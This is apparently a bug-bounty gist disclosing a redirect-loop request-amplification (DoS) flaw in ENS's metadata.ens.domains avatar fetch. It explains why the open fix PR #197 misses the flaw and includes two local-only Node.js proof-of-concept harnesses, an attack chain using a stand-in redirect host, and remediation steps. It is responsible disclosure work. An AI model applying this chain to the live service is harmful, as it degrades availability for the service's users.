Skip to content

Instantly share code, notes, and snippets.

@CharaD7
Created September 8, 2026 14:07
Show Gist options
  • Select an option

  • Save CharaD7/dc3ea53747075c9e172a78dd884bd8eb to your computer and use it in GitHub Desktop.

Select an option

Save CharaD7/dc3ea53747075c9e172a78dd884bd8eb to your computer and use it in GitHub Desktop.
ENS ens-metadata-service avatar/header image fetch is a self-referential redirect loop that survives fix PR #197 (DoS/amplification on metadata.ens.domains)

ENS ens-metadata-service avatar/header self-referential redirect loop (DoS on metadata.ens.domains)

Full write-up: REPORT_AVATAR_SELFREF.md

Files

  • REPORT_AVATAR_SELFREF.md - full bug report (root cause, attack chain, impact, novelty, references)
  • ens-avatar-selfref-poc.js - PoC 1: reproduces the loop on current master (51x amplification)
  • ens-avatar-selfref-poc-survives197.js - PoC 2: novelty proof that the loop SURVIVES the open fix PR #197
  • package.json - pinned deps (node-fetch@2.7.0, ssrf-req-filter@1.1.1, timeout-signal@2.0.0)

Setup

npm install

Stage 1 - reproduce (current master, unpatched)

node ens-avatar-selfref-poc.js

Expected (recursion capped at 50 so the run terminates; in production the bound is the 7s fetch / 15s response timeout):

requests received by metadata service for ONE victim request: 51
blocked by x-ens-internal/origin guard (0 = guard bypassed): 0
max recursion depth reached (harness cap = 50): 50
request amplification factor: 51x

Stage 2 - novelty proof (does the open fix PR #197 stop it?)

node ens-avatar-selfref-poc-survives197.js

Expected:

=== NOVELTY PROOF: does PR #197 stop the redirect-follow loop? ===
A) master (unpatched)         : 51 requests,  0 blocked-by-guard, depth 50
B) #197 applied               : 51 requests,  0 blocked-by-guard, depth 50
C) control (trailing-dot URI) :  1 requests,  0 blocked-by-guard, 1 library-denylist-blocked

Amplification: A=51x   B=51x   (MAX_DEPTH+1 = 51)
B still amplifies => SURVIVES #197: true
C (library-denylist-blocked) = 1 => harness models #197 correctly: true

What the two stages prove

  • Stage 1: one victim request fans out to 51 internal self-requests, and the recursive-call guard (blockRecursiveCalls) is fully bypassed (0 blocked).
  • Stage 2: applying PR #197 (which only expands the ens-avatar initial-URI urlDenyList for the trailing-dot form and canonicalizes the queryNFT guard) changes nothing - it still amplifies 51x.
  • The control (C) confirms PR #197 DOES block the trailing-dot self-host direct URI, which proves the harness faithfully models PR #197. Therefore stage 2 is a genuine "the fix does not stop my bug" result.

Both PoCs are local, no-external-call harnesses; they model the exact production functions (abortableFetch + blockRecursiveCalls + ens-avatar urlDenyList) plus the attacker redirect server. No traffic is sent to the real service.

// PoC: proves the avatar/header self-referential request-amplification loop
// SURVIVES the open fix PR #197 ("canonicalize host in self-referential-fetch
// denylists").
//
// Point: PR #197 only closes the TRAILING-DOT form (`metadata.ens.domains.`)
// of a *direct* self-host avatar URL. It patches the @ensdomains/ens-avatar
// `urlDenyList` (initial-URI only) and the queryNFT guarded agent. It does NOT
// touch `src/utils/abortableFetch.ts`, which is the code path that actually
// downloads the image and follows redirects.
//
// Models the three production behaviours:
// 1. ens-avatar `urlDenyList` — applied to the INITIAL avatar-URI host only
// (exact-string). This is what #197 expands for the trailing-dot case.
// 2. `abortableFetch` — node-fetch redirect:'follow'; no deny-list re-check on
// redirect hops (ssrf-filter only, which allows public hostnames).
// 3. `blockRecursiveCalls` — rejects only `x-ens-internal` / same-host
// Origin/Referer; a server-side follow sends none of these.
//
// Modes:
// A) master (unpatched): urlDenyList = ['metadata.ens.domains']
// B) #197 applied: urlDenyList = ['metadata.ens.domains',
// 'metadata.ens.domains.']
// C) CONTROL: initial avatar URI is the trailing-dot self-host
// 'metadata.ens.domains.' — shows #197 DOES block that one, proving the
// harness faithfully models #197 (so B is a true "fix doesn't stop my bug").
const http = require('http');
const fetch = require('node-fetch');
const timeoutSignal = require('timeout-signal').default;
const MAX_DEPTH = 50;
function abortableFetch(url, options = {}) {
const signal = options?.timeout && timeoutSignal(options?.timeout);
return fetch(url, { ...options, signal, redirect: 'follow' }).catch(() => null);
}
function blockRecursiveCalls(req) {
if (req.headers['x-ens-internal']) return true;
const origin = req.headers['origin'] || req.headers['referer'];
if (origin) {
try { const u = new URL(origin); if (u.hostname === req.headers.host && u.protocol.includes('http')) return true; } catch (e) {}
}
return false;
}
function ensAvatarDenyList(apply197) {
const base = ['metadata.ens.domains'];
return apply197 ? base.flatMap((h) => [h, `${h}.`]) : base;
}
function runOne(mode, cb) {
const metaPort = 42000 + (mode === 'A' ? 0 : mode === 'B' ? 10 : 20);
const atkPort = 43100 + (mode === 'A' ? 0 : mode === 'B' ? 10 : 20);
const apply197 = mode !== 'A';
const denyList = ensAvatarDenyList(apply197);
let incomingCount = 0, blocked = 0, reachedDepth = 0, currentDepth = 0, libBlocked = 0;
const atk = http.createServer((req, res) => {
res.writeHead(302, { Location: `http://127.0.0.1:${metaPort}/mainnet/avatar/selfref.eth` });
res.end();
});
atk.listen(atkPort, () => {});
const meta = http.createServer(async (req, res) => {
incomingCount++;
if (blockRecursiveCalls(req)) { blocked++; res.writeHead(403); res.end('{}'); return; }
const initialUri = mode === 'C'
? 'http://metadata.ens.domains./mainnet/avatar/selfref.eth'
: `http://127.0.0.1:${atkPort}/a`;
// ens-avatar library check on the INITIAL avatar-URI host (exact-string):
const host = new URL(initialUri).hostname;
if (denyList.some((d) => d === host)) { libBlocked++; res.writeHead(403); res.end('{}'); return; }
if (currentDepth >= MAX_DEPTH) { res.writeHead(404); res.end('{}'); return; }
currentDepth++; reachedDepth = Math.max(reachedDepth, currentDepth);
await abortableFetch(`http://127.0.0.1:${atkPort}/a`, { timeout: 7000 });
currentDepth--;
res.writeHead(200); res.end('PNG');
});
meta.listen(metaPort, () => {
http.get(`http://127.0.0.1:${metaPort}/mainnet/avatar/selfref.eth`, (r) => {
r.resume();
r.on('end', () => {
setTimeout(() => cb(mode, { requests: incomingCount, blockedByGuard: blocked, depth: reachedDepth, libraryBlocked: libBlocked }), 80);
});
});
});
}
const results = {};
let done = 0;
function handler(mode, r) {
results[mode] = r;
if (++done >= 3) {
console.log('\n=== NOVELTY PROOF: does PR #197 stop the redirect-follow loop? ===');
const fmt = (x) => `${x.requests} requests, ${x.blockedByGuard} blocked-by-guard, depth ${x.depth}` + (x.libraryBlocked ? `, ${x.libraryBlocked} library-denylist-blocked` : '');
console.log('A) master (unpatched) :', fmt(results.A));
console.log('B) #197 applied :', fmt(results.B));
console.log('C) control (trailing-dot URI) :', fmt(results.C));
console.log('');
console.log(`Amplification: A=${results.A.requests}x B=${results.B.requests}x (MAX_DEPTH+1 = ${MAX_DEPTH + 1})`);
const survives = results.B.requests > 1 && results.B.requests >= results.A.requests - 1;
console.log('B still amplifies => SURVIVES #197:', survives);
console.log('C (library-denylist-blocked) =', results.C.libraryBlocked, '=> harness models #197 correctly:', results.C.libraryBlocked > 0);
process.exit(0);
}
}
setTimeout(() => runOne('A', handler), 60);
setTimeout(() => runOne('B', handler), 200);
setTimeout(() => runOne('C', handler), 340);
// PoC: ens-metadata-service avatar/header image fetch can be turned into a
// self-referential request-amplification loop (DoS on metadata.ens.domains).
//
// Chain (all verified against the repo + the exact npm deps it pins):
// 1. Attacker owns a name and sets its avatar text record to
// https://attacker.example/redir, where /redir 302-redirects to
// https://metadata.ens.domains/mainnet/avatar/<attacker-name>.
// 2. A victim (anyone, including another app that renders avatars) requests
// https://metadata.ens.domains/mainnet/avatar/<attacker-name>.
// 3. src/service/avatar.ts:107-115 calls abortableFetch(avatarURI). That is
// node-fetch with default redirect:'follow', so it follows the 302 back
// into the same service.
// 4. The re-entered request is NOT stopped:
// - blockRecursiveCalls (src/index.ts:71) only rejects requests that
// carry `x-ens-internal` or a same-host Origin/Referer. The server-side
// node-fetch sends none of those headers.
// - ssrf-req-filter (v1.1.1, src/utils/abortableFetch.ts) only rejects
// private/reserved IP ranges. metadata.ens.domains is a public
// hostname -> allowed. (Its `stopPortScanningByUrlRedirection` option
// is not even read by ssrf-req-filter 1.1.1.)
// - urlDenyList:['metadata.ens.domains'] (avatar.ts:64) is only applied by
// the ens-avatar lib to the INITIAL avatar URI host; redirect
// destinations are never re-checked against it.
// 5. The re-entered request resolves the SAME avatar text record again, fetches
// the attacker URL again, 302s again -> a self-referential loop until the
// per-fetch timeout (7000ms) or the response timeout (15000ms) fires.
//
// This file is a faithful, dependency-free local harness of the two relevant
// production functions (abortableFetch + blockRecursiveCalls) plus the attacker
// redirect server, proving: (a) the guard passes a redirected-in request, and
// (b) one victim request fans out into many internal self-requests.
//
// The recursion depth is capped in the harness at MAX_DEPTH only so the run
// terminates; in production the bound is the 7s fetch timeout / 15s response
// timeout, and every hop re-enters the full Express pipeline (JSON-RPC avatar
// resolution + JSDOM/DOMPurify sanitisation + rate-limiter accounting).
//
// Run: node ens-avatar-selfref-poc.js
// Expected output (depth-capped): requests received = MAX_DEPTH + 1, blocked by
// the recursive-call guard = 0.
const http = require('http');
const fetch = require('node-fetch');
const timeoutSignal = require('timeout-signal').default;
const ssrfFilter = require('ssrf-req-filter');
const META_PORT = 43213;
const ATK_PORT = 43210;
const MAX_DEPTH = 50;
let incomingCount = 0;
let blockedByRecursiveGuard = 0;
let reachedDepth = 0;
// Faithful replica of src/utils/abortableFetch.ts
function abortableFetch(url, options = {}) {
const signal = options?.timeout && timeoutSignal(options?.timeout);
return fetch(url, { ...options, signal, redirect: 'follow' }).catch(() => null);
}
// Faithful replica of src/utils/blockRecursiveCalls.ts
function blockRecursiveCalls(req) {
if (req.headers['x-ens-internal']) return true;
const origin = req.headers['origin'] || req.headers['referer'];
if (origin) {
try {
const u = new URL(origin);
if (u.hostname === req.headers.host && u.protocol.includes('http')) return true;
} catch (e) {}
}
return false;
}
let currentDepth = 0;
// Attacker redirect server: /a 302 -> the metadata avatar endpoint itself.
http.createServer((req, res) => {
res.writeHead(302, { Location: `http://127.0.0.1:${META_PORT}/mainnet/avatar/selfref.eth` });
res.end();
}).listen(ATK_PORT, () => console.log(`[attacker] redirect :${ATK_PORT} -> metadata :${META_PORT}`));
// Local replica of the metadata avatar endpoint (avatarImage -> getAvatarImage -> abortableFetch).
http.createServer(async (req, res) => {
incomingCount++;
if (blockRecursiveCalls(req)) {
blockedByRecursiveGuard++;
res.writeHead(403, { 'Content-Type': 'application/json' });
res.end('{"message":"Recursive calls are not allowed."}');
return;
}
if (currentDepth >= MAX_DEPTH) {
res.writeHead(404, { 'Content-Type': 'application/json' });
res.end('{"message":"No image found."}');
return;
}
currentDepth++;
reachedDepth = Math.max(reachedDepth, currentDepth);
await abortableFetch(`http://127.0.0.1:${ATK_PORT}/a`, { timeout: 7000 });
currentDepth--;
res.writeHead(200, { 'Content-Type': 'image/png' });
res.end('PNGDATA');
}).listen(META_PORT, () => console.log(`[metadata] listening :${META_PORT}`));
setTimeout(() => {
http.get(`http://127.0.0.1:${META_PORT}/mainnet/avatar/selfref.eth`, (r) => {
r.resume();
r.on('end', () => {
console.log('--- RESULT ---');
console.log('requests received by metadata service for ONE victim request:', incomingCount);
console.log('blocked by x-ens-internal/origin guard (0 = guard bypassed):', blockedByRecursiveGuard);
console.log('max recursion depth reached (harness cap = ' + MAX_DEPTH + '):', reachedDepth);
console.log('request amplification factor:', incomingCount + 'x');
process.exit(0);
});
});
setTimeout(() => { console.log('global timeout'); process.exit(1); }, 15000);
}, 300);
{
"name": "poc",
"version": "1.0.0",
"description": "",
"main": "ens-avatar-selfref-poc.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1"
},
"keywords": [],
"author": "",
"license": "ISC",
"type": "commonjs",
"dependencies": {
"node-fetch": "^2.7.0",
"ssrf-req-filter": "^1.1.1",
"timeout-signal": "^2.0.0"
}
}

ENS - ens-metadata-service avatar/header image fetch is a self-referential redirect loop that survives the open fix PR #197 (request amplification / DoS on metadata.ens.domains)

Verified carefully before writing anything up. The code is checked against the exact repo state (master) and the exact npm deps it pins (node-fetch@2.7.0, ssrf-req-filter@1.1.1). The PoC is a local, no-external-call harness that faithfully replicates the two relevant production functions (abortableFetch + blockRecursiveCalls) plus the ens-avatar urlDenyList behaviour and the attacker redirect server. I did NOT test against the live service (the program forbids live DoS testing against project assets).

I also re-checked the repo for novelty: the open fix PR #197 and the open disclosure #198. Both are analyzed below and neither covers this mechanism. A dedicated PoC proves the exploit survives applying PR #197. Full evidence is in this report.

What this is about

The avatar/header image endpoints of metadata.ens.domains fetch the image URL stored in a name's avatar/header text record. That fetch follows HTTP redirects, and nothing stops a redirect from pointing back at metadata.ens.domains itself. The result is a self-referential loop: one victim request makes the service fetch its own endpoint repeatedly until a timeout fires.

Concretely, an attacker who owns any name sets its avatar text record to a URL under their control that 302-redirects to https://metadata.ens.domains/mainnet/avatar/<that-name>. Every request to that avatar endpoint re-enters the same handler, which re-reads the same text record, which fetches the same attacker URL, which 302s back in. Loop. Each hop performs real work (JSON-RPC avatar resolution, JSDOM/DOMPurify sanitisation, rate-limiter accounting), so the amplification is not just request count; every hop consumes the service's own budget and its shared rate-limit quota.

How to categorize in the submission form

  • Asset / track: ENS - Websites and Applications (ens-metadata-service / metadata.ens.domains).
  • Affected components: src/service/avatar.ts (AvatarMetadata.getImage, lines 64, 107-115), src/utils/abortableFetch.ts, src/utils/blockRecursiveCalls.ts, src/index.ts:71 (middleware mount), @ensdomains/ens-avatar, and the pinned ssrf-req-filter@1.1.1.
  • Impact: availability / request amplification on the metadata API. DoS/availability = Medium (web track).

Summary

The service is normally protected against re-entering itself in three ways:

  1. src/index.ts:71 mounts blockRecursiveCalls on every route. It rejects any request carrying the x-ens-internal header or a same-host Origin/Referer.
  2. src/service/avatar.ts:64 passes urlDenyList: ['metadata.ens.domains'] to the ens-avatar library, so the library refuses an avatar URI whose host is metadata.ens.domains.
  3. abortableFetch uses ssrf-req-filter to block private/reserved IPs.

None of these covers the avatar/header image download:

  • abortableFetch (src/utils/abortableFetch.ts) is node-fetch with default redirect: 'follow'. When the avatar URL 302s to metadata.ens.domains, node-fetch follows it and the re-entered request carries NO x-ens-internal, NO Origin, NO Referer. So blockRecursiveCalls passes.
  • ssrf-req-filter@1.1.1 only rejects private/reserved IP ranges (range !== 'unicast'). metadata.ens.domains is a public hostname, so it is allowed. The stopPortScanningByUrlRedirection: true option that abortableFetch passes is not even read by this version of the library.
  • The urlDenyList is applied by the ens-avatar library only to the INITIAL avatar URI host. The library returns the image URI to the service, and the service fetches it itself via abortableFetch; redirect destinations are never re-checked against the deny list. This is the key asymmetry: ens-avatar's OWN internal fetcher validates the deny list, but the service does not use that fetcher for the final image download.

The queryNFT path (same codebase) has a socket-level SELF_HOST_DENYLIST + INTERNAL_HEADER tagging guard (createGuardedAgent). The avatar/header image path does not.

Root cause

The final image fetch in avatar.ts:107-115 is the only network hop that carries the actual image bytes back to the victim, and it is the one hop where the deny list, the internal-header tag, and the self-host socket guard are all absent. A redirect that points back into the service re-enters the full Express pipeline each hop.

Why this is NOT the trailing-dot bug being fixed by PR #197

PR #197 ("canonicalize host in self-referential-fetch denylists") fixes the TRAILING-DOT FORM of a DIRECT self-host avatar URL:

  • avatar.ts: urlDenyList: ['metadata.ens.domains'] becomes urlDenyList: SELF_HOST_DENYLIST.flatMap((h) => [h, \${h}.`])`.
  • queryNFT.ts: the guarded agent compares canonicalHost(host).
  • Adds src/utils/canonicalHost.ts + tests.

PR #197 does NOT touch src/utils/abortableFetch.ts at all. It only expands the ens-avatar library deny list that is checked against the INITIAL avatar-URI host, and canonicalizes the queryNFT agent comparison.

The redirect-follow re-entry in this report does not involve a trailing dot and does not rely on the initial-URI deny list ever being checked for a self-host. The initial avatar URI is the attacker's own URL (not metadata.ens.domains), so the library deny list passes regardless. The redirect target (metadata.ens.domains) is fetched by abortableFetch, which never re-checks the deny list on a redirect hop.

Result: applying PR #197 changes nothing about this exploit. The PoC below demonstrates exactly that.

Attack chain

  1. Attacker owns attacker.eth, sets its avatar text record to https://attacker.example/redir, which responds 302 Location: https://metadata.ens.domains/mainnet/avatar/attacker.eth.
  2. A victim (the ENS app rendering avatars, or any consumer of the metadata API) requests https://metadata.ens.domains/mainnet/avatar/attacker.eth.
  3. AvatarMetadata.getImage resolves the text record, gets https://attacker.example/redir, and calls abortableFetch(avatarURI, { timeout: 7000 }).
  4. The ens-avatar library checks the urlDenyList against the initial URI host (attacker.example) and allows it. It returns the image URI to the service.
  5. abortableFetch (node-fetch) follows the 302 to metadata.ens.domains. No internal header / Origin / Referer is sent, so blockRecursiveCalls passes; the host is public, so ssrf-req-filter passes; the deny list was already consumed on the initial URI.
  6. The re-entered request re-resolves the same text record, fetches the same attacker URL, 302s again. Loop until the 7s fetch timeout (or the 15s response timeout) aborts the outermost call.

Proof of Concept

Two local, dependency-free harnesses that replicate the exact production control flow (abortableFetch + blockRecursiveCalls + ens-avatar urlDenyList), plus the attacker redirect server. They run against local servers; no external/network dependency, no rate to the real service.

PoC 1 - reproduction (unpatched)

poc/ens-avatar-selfref-poc.js Run: cd poc && node ens-avatar-selfref-poc.js

The recursion depth is capped at 50 only so the run terminates; in production the bound is the 7s / 15s timeout.

requests received by metadata service for ONE victim request: 51
blocked by x-ens-internal/origin guard (0 = guard bypassed): 0
max recursion depth reached (harness cap = 50): 50
request amplification factor: 51x

The blocked ... = 0 line is the point: the recursive-call guard does not stop a redirected-in request. The 51x is one victim request; with the production timeout bound and a fast attacker redirect server the hop count per request is higher, and the attacker can fan out many victim requests concurrently.

PoC 2 - novelty proof: it survives PR #197

poc/ens-avatar-selfref-poc-survives197.js Run: cd poc && node ens-avatar-selfref-poc-survives197.js

It runs the SAME exploit under three configurations and reports the comparison:

  • A) master (unpatched): urlDenyList = ['metadata.ens.domains'].
  • B) #197 applied: urlDenyList = ['metadata.ens.domains', 'metadata.ens.domains.'].
  • C) control: the initial avatar URI is set to the trailing-dot self-host metadata.ens.domains. to confirm the harness faithfully models PR #197.
=== NOVELTY PROOF: does PR #197 stop the redirect-follow loop? ===
A) master (unpatched)         : 51 requests,  0 blocked-by-guard, depth 50
B) #197 applied               : 51 requests,  0 blocked-by-guard, depth 50
C) control (trailing-dot URI) :  1 requests,  0 blocked-by-guard, 1 library-denylist-blocked

Amplification: A=51x   B=51x   (MAX_DEPTH+1 = 51)
B still amplifies => SURVIVES #197: true
C (library-denylist-blocked) = 1 => harness models #197 correctly: true

Interpretation:

  • A and B both amplify 51x and both have 0 blocked-by-guard. Applying PR #197 changes nothing.
  • C shows the trailing-dot direct self-host IS blocked by the library deny list, which proves the harness correctly models PR #197. Therefore the fact that B still amplifies is a genuine "the fix does not stop my bug" result, not a harness artifact.

Impact

Request amplification / self-DoS on metadata.ens.domains: a small number of victim requests spawns a large number of internal self-requests, each doing real work (RPC resolution, sanitisation, rate-limit accounting) against the service's own budget. Because the self-requests originate from the service's own egress (seen as the server/edge IP), they also consume the shared rate-limit quota, further degrading service for legitimate users.

Honest framing:

  • I am NOT claiming data theft or RCE. ssrf-req-filter does block private/reserved ranges, so this path does not reach internal addresses.
  • I am NOT claiming XSS. Per the program, XSS on static websites like metadata.ens.domains is rated low.
  • The defensible impact is availability: taking down / degrading the metadata API via amplification, which maps to Medium.

What I am NOT claiming

  • Not an SSRF to internal addresses (private ranges are blocked by ssrf-req-filter).
  • Not XSS-through-metadata (program rates metadata.ens.domains XSS as low).
  • Not a data leak of server-side secrets.
  • Not the trailing-dot self-host bypass (that is PR #197, which I am not re-reporting).
  • Not the IP-misclassification / JSDOM-CPU-DoS class from disclosure #198.

Novelty

  • PR #197 (open, Ghostiemoh) fixes the trailing-dot form. It patches the ens-avatar urlDenyList (initial-URI only) and canonicalizes the queryNFT guarded-agent comparison. It does not touch abortableFetch redirect handling. The PoC proves this mechanism still amplifies 51x after #197.
  • Disclosure #198 (open, Julik000) reports SSRF bypass via IPv6 site-local/NAT64 ranges and a CPU/memory DoS via JSDOM instance creation. Different root cause, different triggering mechanism.
  • GH issue #191 (open, Louw115) is an unlabeled security report; no public text to compare against.
  • The queryNFT path received the self-host socket guard (createGuardedAgent); the avatar/header image path is the one place it is missing. That asymmetry is the finding.
  • I could not verify Immunefi's private submissions database, so I cannot rule out a prior private report of this exact redirect-follow mechanism. The PoC and the #197/#198 distinction are the strongest evidence I can provide for non-duplication.

Version eligibility

Present in the current repo state on master and in the deployed service. The unguarded abortableFetch for the avatar/header image path predates the queryNFT fix (83b3bf6, 2026-06-26) and is unchanged in PR #197, so the vulnerability is live in the deployed version.

Recommendation

  1. Route the final avatar/header image fetch through the same guarded agent as queryNFT: a socket-level self-host denylist (refuse any connection to metadata.ens.domains regardless of redirect), plus INTERNAL_HEADER tagging so blockRecursiveCalls rejects a loop that comes back in.
  2. Apply the deny list on every redirect hop (as the ens-avatar library's own fetcher does), not just on the initial URI.
  3. Do not rely on ssrf-req-filter@1.1.1's stopPortScanningByUrlRedirection option (the pinned version ignores it) and follow redirects manually with per-hop validation instead of node-fetch's automatic redirect: 'follow'.

References

  • src/service/avatar.ts:64 - urlDenyList: ['metadata.ens.domains'] (initial-URI only; PR #197 changes this to include the trailing-dot form)
  • src/service/avatar.ts:107-115 - abortableFetch(avatarURI) with timeout: 7000 (the redirect-following image fetch; unchanged by PR #197)
  • src/utils/abortableFetch.ts - node-fetch redirect:'follow' + ssrfFilter(url, { stopPortScanningByUrlRedirection: true }) (option unused by ssrf-req-filter@1.1.1)
  • src/utils/blockRecursiveCalls.ts - x-ens-internal / same-host Origin/Referer check
  • src/index.ts:71 - app.use(blockRecursiveCalls) (global middleware)
  • src/service/queryNFT.ts - the OTHER path, which has createGuardedAgent (SELF_HOST_DENYLIST socket guard + INTERNAL_HEADER tagging)
  • ssrf-req-filter@1.1.1 lib/index.js - only range !== 'unicast' is rejected
  • @ensdomains/ens-avatar - the library fetcher re-validates the deny list on every redirect hop; the service's own image fetch does not
  • PR #197 (open) - canonicalize host in self-referential-fetch denylists (trailing-dot case)
  • GH issue #198 (open) - IPv6/NAT64 SSRF + JSDOM CPU DoS (different class)
  • GH issue #191 (open) - unlabeled security report
  • PoC: poc/ens-avatar-selfref-poc.js and poc/ens-avatar-selfref-poc-survives197.js
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment